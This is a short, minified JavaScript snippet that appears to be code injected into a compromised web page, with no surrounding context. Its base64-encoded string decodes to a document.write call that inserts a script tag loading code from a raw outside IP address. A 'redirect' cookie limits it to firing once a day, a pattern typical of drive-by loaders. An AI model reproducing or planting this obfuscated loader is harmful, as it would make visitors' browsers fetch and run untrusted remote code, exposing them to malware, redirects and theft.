  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}